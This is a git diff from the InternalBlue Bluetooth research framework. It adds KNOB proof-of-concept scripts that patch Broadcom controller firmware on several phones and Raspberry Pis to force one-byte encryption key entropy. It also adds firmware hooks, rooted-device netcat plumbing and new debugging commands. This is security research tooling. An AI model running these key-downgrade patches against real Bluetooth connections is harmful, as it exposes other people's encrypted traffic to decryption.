internalblue.writeMem(0x203797, '\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+100
View File
@@ -0,0 +1,100 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
#internalblue.patchRom(0x4BC6E, patch)
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
internalblue.writeMem(0x204147, '\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
View File
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.hcicore import HCICore
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
internalblue.patchRom(0x689F0, patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
View File
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.hcicore import HCICore
"""
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
internalblue.patchRom(0x3B3D4, patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n")
+178
View File
@@ -0,0 +1,178 @@
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
internalblue = ADBCore(serial=True)
device_list = internalblue.device_list()
if len(device_list) == 0:
log.warn("No HCI devices connected!")
exit(-1)
internalblue.interface = device_list[0][1] # just use the first device
"""
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
# they had to for Bluetooth 5 compliance.
# The base address is 0x5E324, and this will jump into the Patchram.
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
"""
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
// restore first 4 bytes of _connTaskRxDone
push {r4-r12,lr}
mov r4, r0
// fix registers for our own routine
push {r1-r7, lr}
mov r7, r0
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0xE628 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239);
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RXDN"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x4e445852 // RXDN
str r1, [r0]
add r0, 4 // advance buffer by 4
// copy 239 bytes of le_conn to buffer
mov r2, #238
mov r1, r7 // le_conn[0]
bl 0x857B4 // __rt_memcpy
// for debugging purposes, we overwrite the first byte
// (which is the connTaskCallback anyway) with RSSI info
mov r2, #1 // 1 rssi byte
add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi
mov r0, r4
add r0, 14
bl 0x857B4 // __rt_memcpy
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport
// undo registers for our own routine
mov r0, r7
pop {r1-r7, lr}
// branch back to _connTaskRxDone + 4
//b 0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
//b 0x134504 // August 30 Nightly Build
b 0x%x
""" % (RX_DONE_HOOK_ADDRESS+4)
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
exit(-1)
log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
log.critical("Installing patch for _connTaskRxDone failed!")
exit(-1)
# RXDN statistics callback variables
internalblue.last_nesn_sn = None
internalblue.last_success_event = None
def lereceiveStatusCallback(record):
"""
RXDN Callback Function
Depends on the raspi3_rxdn.py or eval_rxdn.py script,
which patches the _connTaskRxDone() function and copies
info from the LE connection struct to HCI.
"""
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
if len(data) < 239:
return
#if raspi or s8:
packet_curr_nesn_sn = u8(data[0xa0])
#elif eval:
# packet_curr_nesn_sn = u8(data[0xa4])
packet_channel_map = data[0x54:0x7b]
packet_channel = u8(data[0x83])
packet_event_ctr = u16(data[0x8e:0x90])
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
# currently only supported by eval board: check if we also went into the process payload routine,
# which probably corresponds to a correct CRC
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
# log.debug(" ^----------------------------- MISSED -------------------------------")
# TODO example for setting the channel map
# timeout needs to be zero, because we are already in an event reception routine!
# self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0)
internalblue.last_nesn_sn = packet_curr_nesn_sn
# draw channel with rssi color
color = '\033[92m' # green
if 0xc8 > packet_rssi >= 0xc0:
color = '\033[93m' # yellow
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
color, ' ' * packet_channel))
log.info("--------------------")
log.info("Entering InternalBlue CLI to display statistics.")
# add RXDN callback
internalblue.registerHciCallback(lereceiveStatusCallback)
# enter CLI
cli.commandLoop(internalblue)
+47
View File
@@ -0,0 +1,47 @@
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.adbcore import ADBCore
"""
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
internalblue.patchRom(0x530F6, patch)
# modify global variable for own setting
internalblue.writeMem(0x255E8F, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Currently, there is no LMP monitoring option on Android 8.\n")
+87 -6
View File
@@ -13,9 +13,11 @@ from core import InternalBlue
class ADBCore(InternalBlue): class ADBCore(InternalBlue):
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."): def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial=False, data_directory="."):
super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory) super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1 self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
self.doublecheck = False
def device_list(self): def device_list(self):
""" """
@@ -42,12 +44,12 @@ class ADBCore(InternalBlue):
log.info("No adb devices found.") log.info("No adb devices found.")
return [] return []
# At least one device fonund # At least one device found
log.info("Found multiple adb devices") log.info("Found multiple adb devices")
# Enumerate over found devices and put them into an array of tupple # Enumerate over found devices and put them into an array of tupple
# First index is a self reference of the class # First index is a self reference of the class
# Scond index is the identifier which is passed to connect() # Second index is the identifier which is passed to connect()
# Third index is the label which is shown in options(...) # Third index is the label which is shown in options(...)
device_list = [] device_list = []
for d in adb_devices: for d in adb_devices:
@@ -65,6 +67,19 @@ class ADBCore(InternalBlue):
context.device = self.interface context.device = self.interface
# setup sockets # setup sockets
# on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
if not self.serial:
if not self._setupSockets():
log.info("Could not connect using Bluetooth module.")
log.info("Trying to set up connection for rooted smartphone with busybox installed.")
else:
return True # successfully finished setup with bluetooth.default.so
if not self._setupSerialSu():
log.critical("Failed to setup scripts for rooted devices.")
return False
# try again
if not self._setupSockets(): if not self._setupSockets():
log.critical("No connection to target device.") log.critical("No connection to target device.")
log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n") log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n")
@@ -193,9 +208,9 @@ class ADBCore(InternalBlue):
callback(record) callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed. # Check if the stackDumpReceiver has noticed that the chip crashed.
if self.stackDumpReceiver.stack_dump_has_happend: # if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend! # A stack dump has happend!
log.warn("recvThreadFunc: The controller send a stack dump.") # log.warn("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True # self.exit_requested = True
log.debug("Receive Thread terminated.") log.debug("Receive Thread terminated.")
@@ -212,7 +227,7 @@ class ADBCore(InternalBlue):
# (with multiple attached Android devices) we must not hard code the # (with multiple attached Android devices) we must not hard code the
# forwarded port numbers. Therefore we choose the port numbers # forwarded port numbers. Therefore we choose the port numbers
# randomly and hope that they are not already in use. # randomly and hope that they are not already in use.
self.hciport = random.randint(60000, 65535) self.hciport = random.randint(60000, 65534) # minus 1, as we are using hciport + 1
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1)) log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function. # Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
@@ -247,8 +262,10 @@ class ADBCore(InternalBlue):
self.s_inject.close() self.s_inject.close()
self.s_snoop.close() self.s_snoop.close()
self.s_inject = self.s_snoop = None self.s_inject = self.s_snoop = None
context.log_level = 'warn'
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)]) adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)]) adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
context.log_level = saved_loglevel
return False return False
return True return True
@@ -274,3 +291,67 @@ class ADBCore(InternalBlue):
return False return False
finally: finally:
context.log_level = saved_loglevel context.log_level = saved_loglevel
def _setupSerialSu(self):
"""
To run on any rooted device, we can also use some shellscripting.
This is slower but at least works on any device.
Commands on a S10e with Samsung Stock ROM + Magisk + busybox:
tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872
nc -l -p 8873 >/sdcard/internalblue_input.bin
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
Locations of the Bluetooth serial interface and btsnoop log file might differ.
The second part *could* be combined, but it somehow does not work (SELinux?).
The ADB Python bindings will kill the processes automatically :)
"""
# In sending direction, the format is different.
self.serial = True
saved_loglevel = context.log_level
context.log_level = 'warn'
try:
# check dependencies
if adb.which('su') is None:
log.critical("su not found, rooted smartphone required!")
return False
if adb.process(['su', '-c', 'which', 'nc']).recvall() == '':
log.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = adb.process(["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]).recvall().strip()
log.info("Android btsnoop logfile %s...", logfile)
interface = adb.process(["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]).recvall().strip()
log.info("Android Bluetooth interface %s...", interface)
if logfile == '':
log.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
return False
if interface == '':
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
adb.process(["su", "-c", 'tail -f -n +0 %s | nc -l -p 8872' % logfile])
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
adb.process(["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface])
sleep(2)
except PwnlibException as e:
log.warn("Serial scripting setup failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
return True
+13 -6
View File
@@ -35,7 +35,7 @@ import argparse
from adbcore import ADBCore from adbcore import ADBCore
from hcicore import HCICore from hcicore import HCICore
from ioscore import iOSCore from sys import platform
import cmds import cmds
@@ -95,10 +95,11 @@ def internalblue_cli():
parser = argparse.ArgumentParser() parser = argparse.ArgumentParser()
parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue") parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue")
parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true") parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true")
parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port") parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).")
parser.add_argument("--serialsu", "-s", help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.", action="store_true")
args = parser.parse_args() args = parser.parse_args()
if args.data_directory != None: if args.data_directory is not None:
data_directory = args.data_directory data_directory = args.data_directory
else: else:
data_directory = os.path.expanduser("~") + "/.internalblue" data_directory = os.path.expanduser("~") + "/.internalblue"
@@ -119,12 +120,18 @@ def internalblue_cli():
term.readline.set_completer(readline_completer) term.readline.set_completer(readline_completer)
# Initalize cores and get devices # Initalize cores and get devices
# As macOS has additional dependencies (objc), only import it here if needed
if args.ios_device: if args.ios_device:
connection_methods = [iOSCore(args.ios_device, log_level=log_level, from ioscore import iOSCore
data_directory=data_directory)] connection_methods = [iOSCore(args.ios_device, log_level=log_level, data_directory=data_directory)]
elif platform == "darwin":
from macoscore import macOSCore
connection_methods = [
macOSCore(log_level=log_level, data_directory=data_directory),
ADBCore(log_level=log_level, data_directory=data_directory)]
else: else:
connection_methods = [ connection_methods = [
ADBCore(log_level=log_level, data_directory=data_directory), ADBCore(log_level=log_level, data_directory=data_directory, serial=args.serialsu),
HCICore(log_level=log_level, data_directory=data_directory)] HCICore(log_level=log_level, data_directory=data_directory)]
devices = [] devices = []
+66 -6
View File
@@ -178,8 +178,9 @@ class Cmd:
for section in self.internalblue.fw.SECTIONS: for section in self.internalblue.fw.SECTIONS:
if not section.is_rom: if not section.is_rom:
sectiondump = self.readMem(section.start_addr, section.size(), self.progress_log, bytes_done, bytes_total) sectiondump = self.readMem(section.start_addr, section.size(), self.progress_log, bytes_done, bytes_total)
Cmd.memory_image = Cmd.memory_image[0:section.start_addr] + sectiondump + Cmd.memory_image[section.end_addr:] if sectiondump:
bytes_done += section.size() Cmd.memory_image = Cmd.memory_image[0:section.start_addr] + sectiondump + Cmd.memory_image[section.end_addr:]
bytes_done += section.size()
self.progress_log.success("Received Data: complete") self.progress_log.success("Received Data: complete")
def getMemoryImage(self, refresh=False): def getMemoryImage(self, refresh=False):
@@ -956,8 +957,8 @@ class CmdPatch(Cmd):
return True return True
if args.slot != None: if args.slot != None:
if args.slot < 0 or args.slot > 128: if args.slot < 0 or args.slot > self.internalblue.fw.PATCHRAM_NUMBER_OF_SLOTS:
log.warn("Slot has to be in the range 0 to 128!") log.warn("Slot has to be in the range 0 to %i!" % self.internalblue.fw.PATCHRAM_NUMBER_OF_SLOTS)
return False return False
# Patch Deletion # Patch Deletion
@@ -1080,6 +1081,37 @@ class CmdFuzzLmp(Cmd):
return self.internalblue.fuzzLmp() return self.internalblue.fuzzLmp()
class CmdSendLcp(Cmd):
keywords = ['sendlcp']
description = "Send LCP packet to another device."
parser = argparse.ArgumentParser(prog=keywords[0],
description=description,
epilog="Aliases: " + ", ".join(keywords))
parser.add_argument("--conn_index", "-c", type=auto_int,
help="Connection index, starts at 0 for first connection.")
parser.add_argument("data",
help="Payload as hexstring.")
def work(self):
args = self.getArgs()
if not args:
return True
# if not set, just use 0
if not args.conn_index:
args.conn_index = 0
try:
data = args.data.decode('hex')
except TypeError as e:
log.warn("Data string cannot be converted to hexstring: " + str(e))
return False
log.info("Sending data=%s to connection index=0x%04x" %
(data.encode('hex'), args.conn_index))
return self.internalblue.sendLcpPacket(args.conn_index, data)
class CmdInfo(Cmd): class CmdInfo(Cmd):
keywords = ['info', 'show', 'i'] keywords = ['info', 'show', 'i']
description = "Display various types of information parsed from live RAM" description = "Display various types of information parsed from live RAM"
@@ -1347,6 +1379,26 @@ class CmdTracepoint(Cmd):
return True return True
class CmdBreakpoint(Cmd):
keywords = ['break', 'breakpoint', 'bp']
description = "Add breakpoint. This will crash, but produces a stackdump at the given address."
parser = argparse.ArgumentParser(prog=keywords[0],
description=description,
epilog="Aliases: " + ", ".join(keywords))
parser.add_argument("address", type=auto_int, nargs="?",
help="Address of the breakpoint")
def work(self):
args = self.getArgs()
if args == None:
return True
log.info("Inserting breakpoint at 0x%x..." % args.address)
self.internalblue.patchRom(args.address, "\x00\xbe\x00\x00")
return True
class CmdConnectCmd(Cmd): class CmdConnectCmd(Cmd):
keywords = ['connect', 'c'] keywords = ['connect', 'c']
description = "Initiate a connection to a remote Bluetooth device" description = "Initiate a connection to a remote Bluetooth device"
@@ -1570,10 +1622,18 @@ class CmdSendDiagCmd(Cmd):
parser = argparse.ArgumentParser(prog=keywords[0], parser = argparse.ArgumentParser(prog=keywords[0],
description=description, description=description,
epilog="Aliases: " + ", ".join(keywords)) epilog="Aliases: " + ", ".join(keywords))
parser.add_argument("--type", type=auto_int, default=0x07,
help="Type. Default is 0x07, but you can use 0x02 for ACL and 0x03 for SCO."
"Other values might crash.")
parser.add_argument("data", nargs="*", parser.add_argument("data", nargs="*",
help="Payload as combinations of hexstrings and hex-uint32 (starting with 0x..). Known commands so far: Reset ACL BR Stats (b9), Get ACL BR Stats (c1), Get ACL EDR Stats (c2), Get AUX Stats (c3), Get Connections (cf), Enable Link Manager Diagnostics (f001), Get Memory Peek (f1), Get Memory Poke (f2), Get Memory Dump (f3), Packet Test (f6).") help="Payload as combinations of hexstrings and hex-uint32 (starting with 0x..). "
"Known commands so far: Reset ACL BR Stats (b9), Get ACL BR Stats (c1), "
"Get ACL EDR Stats (c2), Get AUX Stats (c3), Get Connections (cf), "
"Enable Link Manager Diagnostics (f001), Get Memory Peek (f1), Get Memory Poke (f2), "
"Get Memory Dump (f3), Packet Test (f6).")
def work(self): def work(self):
args = self.getArgs() args = self.getArgs()
if not args or not args.data: if not args or not args.data:
return True return True
@@ -1585,7 +1645,7 @@ class CmdSendDiagCmd(Cmd):
else: else:
data += data_part.decode('hex') data += data_part.decode('hex')
self.internalblue.sendH4(0x07, data) self.internalblue.sendH4(args.type, data)
return True return True
+133 -171
View File
@@ -33,8 +33,7 @@ import datetime
import time import time
import Queue import Queue
import hci import hci
import collections
import struct
class InternalBlue: class InternalBlue:
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
@@ -47,23 +46,6 @@ class InternalBlue:
self.interface = None # holds the context.device / hci interaface which is used to connect, is set in cli self.interface = None # holds the context.device / hci interaface which is used to connect, is set in cli
self.fw = None # holds the firmware file self.fw = None # holds the firmware file
# RXDN statistics callback variables
self.last_nesn_sn = None
self.last_success_event = None
self.last_event_ctr = 0
self.last_channel = 0
self.last_channel_map = 0
self.last_event_timestamp = 0
# variables for measuring PDR
self.pdr_values = {}
for i in range(0, 37):
self.pdr_values[i] = collections.deque([1, 1, 1, 1, 1, 1, 1, 1, 1], maxlen=10)
self.PDR_THRESHOLD = 0.9
self.CHAN_COUNT_THRESHOLD = 10
self.pdr_logfile = open("/home/pi/pdr.log", "w")
self.data_directory = data_directory self.data_directory = data_directory
self.s_inject = None # This is the TCP socket to the HCI inject port self.s_inject = None # This is the TCP socket to the HCI inject port
@@ -137,7 +119,6 @@ class InternalBlue:
# Register callbacks which handle specific HCI Events: # Register callbacks which handle specific HCI Events:
self.registerHciCallback(self.connectionStatusCallback) self.registerHciCallback(self.connectionStatusCallback)
self.registerHciCallback(self.coexStatusCallback) self.registerHciCallback(self.coexStatusCallback)
self.registerHciCallback(self.lereceiveStatusCallback)
def check_binutils(self, fix=True): def check_binutils(self, fix=True):
""" """
@@ -238,8 +219,21 @@ class InternalBlue:
# HCICore: need to manually save the data to btsnoop log as it is not # HCICore: need to manually save the data to btsnoop log as it is not
# reflected to us as with adb # reflected to us as with adb
if self.__class__.__name__ == "ADBCore": if self.__class__.__name__ == "ADBCore":
# prepend with total length for H4 over adb # prepend with total length for H4 over adb with modified Bluetooth module
data = p16(len(data)) + data if not self.serial:
data = p16(len(data)) + data
# If we do not have a patched module, we write to the serial using the same socket.
# Echoing HCI commands to the serial interface has the following syntax:
#
# echo -ne "\x01\x4c\xfc\x05\x33\x22\x11\x00\xaa"
# 0x01: HCI command
# 0xfc4c: Write RAM
# 0x05: Parameter length
# 0x3322...: Parameters
#
# ...and that's how the data is formatted already anyway
elif self.__class__.__name__ == "HCICore": elif self.__class__.__name__ == "HCICore":
if self.write_btsnooplog: if self.write_btsnooplog:
# btsnoop record header data: # btsnoop record header data:
@@ -333,6 +327,25 @@ class InternalBlue:
self.tracepoint_memdump_parts = {} self.tracepoint_memdump_parts = {}
elif hcipkt.data[0:6] == "RAM___": # My custom header (see hook code)
dump_address = u32(hcipkt.data[6:10])
data = hcipkt.data[10:]
if self.tracepoint_memdump_address == None:
self.tracepoint_memdump_address = dump_address
normalized_address = dump_address - self.tracepoint_memdump_address
self.tracepoint_memdump_parts[normalized_address] = data
# Check if this was the last packet
if len(self.tracepoint_memdump_parts) == self.fw.TRACEPOINT_RAM_DUMP_PKT_COUNT:
dump = fit(self.tracepoint_memdump_parts)
#TODO: use this to start qemu
filename = self.data_directory + "/" + "internalblue_tracepoint_0x%x_%s.bin" % (self.tracepoint_memdump_address, datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S"))
log.info("Captured Ram Dump for Tracepoint 0x%x to %s" % (self.tracepoint_memdump_address, filename))
f = open(filename, "wb")
f.write(dump)
f.close()
def addTracepoint(self, address): def addTracepoint(self, address):
# Check if constants are defined in fw.py # Check if constants are defined in fw.py
@@ -533,7 +546,12 @@ class InternalBlue:
return False return False
else: else:
subversion = (u8(version[11]) << 8) + u8(version[10]) subversion = (u8(version[11]) << 8) + u8(version[10])
self.fw = Firmware(subversion).firmware
iOS = False
if self.__class__.__name__ == "iOSCore":
iOS = True
self.fw = Firmware(subversion, iOS).firmware
# Safe to turn diagnostic logging on, it just gets a timeout if the Android # Safe to turn diagnostic logging on, it just gets a timeout if the Android
# driver was recompiled with other flags but without applying a proper patch. # driver was recompiled with other flags but without applying a proper patch.
@@ -636,7 +654,7 @@ class InternalBlue:
return return
log.warn("registerHciRecvQueue: no such queue is registered!") log.warn("registerHciRecvQueue: no such queue is registered!")
def sendHciCommand(self, opcode, data, timeout=2): def sendHciCommand(self, opcode, data, timeout=3):
""" """
Send an arbitrary HCI command packet by pushing a send-task into the Send an arbitrary HCI command packet by pushing a send-task into the
sendQueue. This function blocks until the response is received sendQueue. This function blocks until the response is received
@@ -746,8 +764,8 @@ class InternalBlue:
outbuffer = '' # buffer which stores all accumulated data read from the chip outbuffer = '' # buffer which stores all accumulated data read from the chip
if bytes_total == 0: # If no total bytes where given just use length if bytes_total == 0: # If no total bytes where given just use length
bytes_total = length bytes_total = length
